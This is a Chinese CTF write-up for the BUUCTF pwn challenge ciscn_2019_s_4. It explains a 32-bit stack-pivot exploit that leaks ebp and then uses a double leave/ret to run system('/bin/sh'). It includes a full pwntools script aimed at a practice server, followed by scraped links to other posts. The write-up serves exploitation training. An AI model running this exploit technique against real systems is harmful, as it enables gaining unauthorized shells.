ciscn_2019_s_4

附件

步骤:

  1. 例行检查,32位程序,开启了nx保护
  2. 本地试运行一下,看看大概的情况,两次输入,让人联想到栈迁移
  3. 32位ida载入,找到关键函数,只可以溢出8字节,没法构造太长的rop,
    程序最后是用leave和retn还原现场的,首先想到的就是栈迁移

    leave实质 上是move esp,ebp和pop ebp,将栈底地址赋给栈顶,然后在重新设置栈底地址,我的理解是重新开栈
    retn实质上是pop rip,设置下一条执行指令的地址

利用思路

  1. 利用第一个输入点来泄露ebp的值,动调找一下buf在栈上的位置,用ebp去表示
  2. 第二个输入点输入system(/bin/sh),利用两次leave将栈迁移到buf处,执行buf里的指令,获取shell

利用过程

  1. 首先是利用第一个i输入点来泄露ebp的值
payload='a'*0x24+'bbbb'
p.recvuntil('name?')
p.send(payload)
p.recvuntil('bbbb')
ebp=u32(p.recv(4).ljust(4,'\x00'))
  1. 动调看一下ebp和buf的位置距离,用ebp去表示buf

    ebp的地址是0xffecdee8,buf的地址是0xffecdeb0,两者相差0x38,我们可以用ebp-0x38来表示buf的地址
  2. 现在到了第二个输入点,我们要往buf里写入system(‘/bin/sh’),并将栈劫持回buf地址,执行指令获取shell
payload=(p32(sys_addr)+'aaaa'+p32(buf+12)+'/bin/sh\x00').ljust(0x28,'a')+p32(buf-4)+p32(leave)

由于程序里执行过system,所以可以直接利用system函数的地址,
(p32(sys_addr)+'aaaa'+p32(buf+12)+'/bin/sh\x00').ljust(0x28,'a')这个是用来填充buf的,先看后面的p32(buf-4)+p32(leave)

p32(buf-4),将ebp覆盖成了buf地址-4,-4是因为没执行一条指令后,eip会自动+4,
p32(levae),将返回地址覆盖成了leave
看一下执行完后这条指令后,栈的布局

现在执行返回指令里的leave指令
move esp,ebp

pop ebp

现在执行程序里原有的leave
move esp,ebp

pop ebp

reten,pop eip

到这里,我们成功将栈劫持到了我们的buf处,接下来就会执行栈里的内容,先是执行system函数,eip+4,eip就指向了/bin/sh,system里传入了参数bin/sh,执行了system(/bin/sh),获取了shell

完整exp:

from pwn import *

p=remote('node3.buuoj.cn',26531)
#p=process('./ciscn_s_4')
context.log_level='debug' sys_addr=0x8048400
leave=0x080484b8 payload='a'*0x24+'bbbb'
p.recvuntil('name?')
p.send(payload)
p.recvuntil('bbbb')
ebp=u32(p.recv(4).ljust(4,'\x00'))
#gdb.attach(p) print 'ebp='+hex(ebp) buf=ebp-0x38 payload=(p32(sys_addr)+'aaaa'+p32(buf+12)+'/bin/sh\x00').ljust(0x28,'a')+p32(buf-4)+p32(leave) p.send(payload)
#gdb.attach(p) p.interactive()


为了方便看,我是从上往下开栈的,实质上是从下往上开栈的

[BUUCTF]PWN——ciscn_2019_s_4的更多相关文章

  1. [BUUCTF]PWN——babyheap_0ctf_2017

    [BUUCTF]PWN--babyheap_0ctf_2017 附件 步骤: 例行检查,64位,保护全开 试运行一下程序,看到这个布局菜单,知道了这是一道堆的题目,第一次接触堆的小伙伴可以去看一下这个 ...

  2. (buuctf) - pwn入门部分wp - rip -- pwn1_sctf_2016

    [buuctf]pwn入门 pwn学习之路引入 栈溢出引入 test_your_nc [题目链接] 注意到 Ubuntu 18, Linux系统 . nc 靶场 nc node3.buuoj.cn 2 ...

  3. BUUCTF pwn一分题目

    因为以前做过一些题目,看见1分题目也不太多了,就想着,抓紧点把1分题都刷一下吧.所以开个帖子记录一下,题目简单的话就只贴exp了. [BJDCTF 2nd]secret 这里有一个输入可以进行溢出,n ...

  4. [BUUCTF]PWN——hitcontraining_uaf

    [BUUCTF]--hitcontraining_uaf 附件 步骤: 例行检查,32位,开启了nx保护 试运行一下程序,非常常见的创建堆块的菜单 32位ida载入分析,shift+f12查看程序里的 ...

  5. BUUCTF PWN部分题目wp

    pwn好难啊 PWN 1,连上就有flag的pwnnc buuoj.cn 6000得到flag 2,RIP覆盖一下用ida分析一下,发现已有了system,只需覆盖RIP为fun()的地址,用peda ...

  6. buuctf --pwn part2

    pwn难啊! 1.[OGeek2019]babyrop 先check一下文件,开启了NX 在ida中没有找到system.'/bin/sh'等相关的字符,或许需要ROP绕过(废话,题目提示了) 查看到 ...

  7. buuctf pwn wp---part1

    pwn难啊 1.test_your_nc 测试你nc,不用说,连上就有. 2.rip ida中已经包含了system函数: 溢出,覆盖rip为fun函数,peda计算偏移为23: from pwn i ...

  8. [BUUCTF]PWN——pwnable_hacknote

    pwnable_hacknote 附件 步骤: 例行检查,32位程序,开启了nx和canary保护 本地试运行看一下大概的情况,熟悉的堆的菜单 32位ida载入 add() gdb看一下堆块的布局更方 ...

  9. [BUUCTF]PWN——ciscn_2019_es_7[详解]

    ciscn_2019_es_7 附件 步骤: 例行检查,64位程序,开启了nx保护 本地试运行一下看看大概的情况 64位ida载入,关键函数很简单,两个系统调用,buf存在溢出 看到系统调用和溢出,想 ...

随机推荐

  1. [hdu7032]Command and Conquer: Red Alert 2

    令$(x,y,z)$为狙击手的坐标,其攻击范围即以$(x,y,z)$为中心的$(2k)^{3}$​的立方体 为了避免$k$的影响(二分答案会多一个$\log$),不妨将其变为以$(x,y,z)$为左下 ...

  2. [atAGC045A]Xor Battle

    令$f_{i}$(一个集合)表示当第$i$步开始时第0方必胜当且仅当$x\in f_{i}$,初始$f_{n+1}=\{0\}$ 当$p_{i}=0$时,$f_{i}=\{x|x\in f_{i+1} ...

  3. [bzoj1432]Function

    对于这n个函数,构成了$n(n-1)/2$个交点,对交点离散后,相邻两个交点间函数的编号构成了一个排列,而每一个排列第i个数所构成的段数就是第i层的段数不妨设初始在-oo处这个排列是1,2,--,n, ...

  4. 【Tool】IDEA功能--SVN和Git

    IDEA功能--SVN和Git 2019-11-08  21:12:22  by冲冲 1.IDEA的SVN (1)提交项目代码到SVN服务器 ① 指定不用上传的目录 ② 设置项目上传的路径 SVN服务 ...

  5. char数据可以放入int[]中会自动转换

    int[] ary ={'b','c','a','d','e','f'};System.out.println(ary[0]);//98String str = new String(ary, 2, ...

  6. python网络自动化运维之环境搭建(EVE-NG+pycharm)

    参考了很多资料,发现现在很多环境用的都是GNS3加linux下的python,几乎没有是用EVE-NG加上pycharm的教程,EVE的功能如此强大,存在的教程却较少,这里我出一篇教程供使用EVE作为 ...

  7. VMware和Centos的安装及配置

    目录 1. 安装VMware 2. 安装CentOS6及配置 2.1 Centos安装 2.1.1 配置网络连接的三种形式 2.1.1.1 桥连接 2.1.1.2 NAT模式 2.1.1.3 主机模式 ...

  8. header 301,显示302

    header 301,显示302 一定要注意Location 后面的":"前后都不能有空格 header('HTTP/1.1 301 Moved Permanently'); he ...

  9. 用C语言的LED实验,有汇编哦!

    C语言LED实验 1.汇编激活CPU 首先要明白对于没有系统开发板(也就是裸机)来说,是没办法直接对C进行识别.所以需要一段汇编语言,来配置CPU的资源,选择CPU运行模式,初始化指针位置. 代码如下 ...

  10. 从Redis分布式缓存实战入手到底层原理分析、面面俱到覆盖大厂面试考点

    概述 官方说明 Redis官网 https://redis.io/ 最新版本6.2.6 Redis中文官网 http://www.redis.cn/ 不过中文官网的同步更新维护相对要滞后不少时间,但对 ...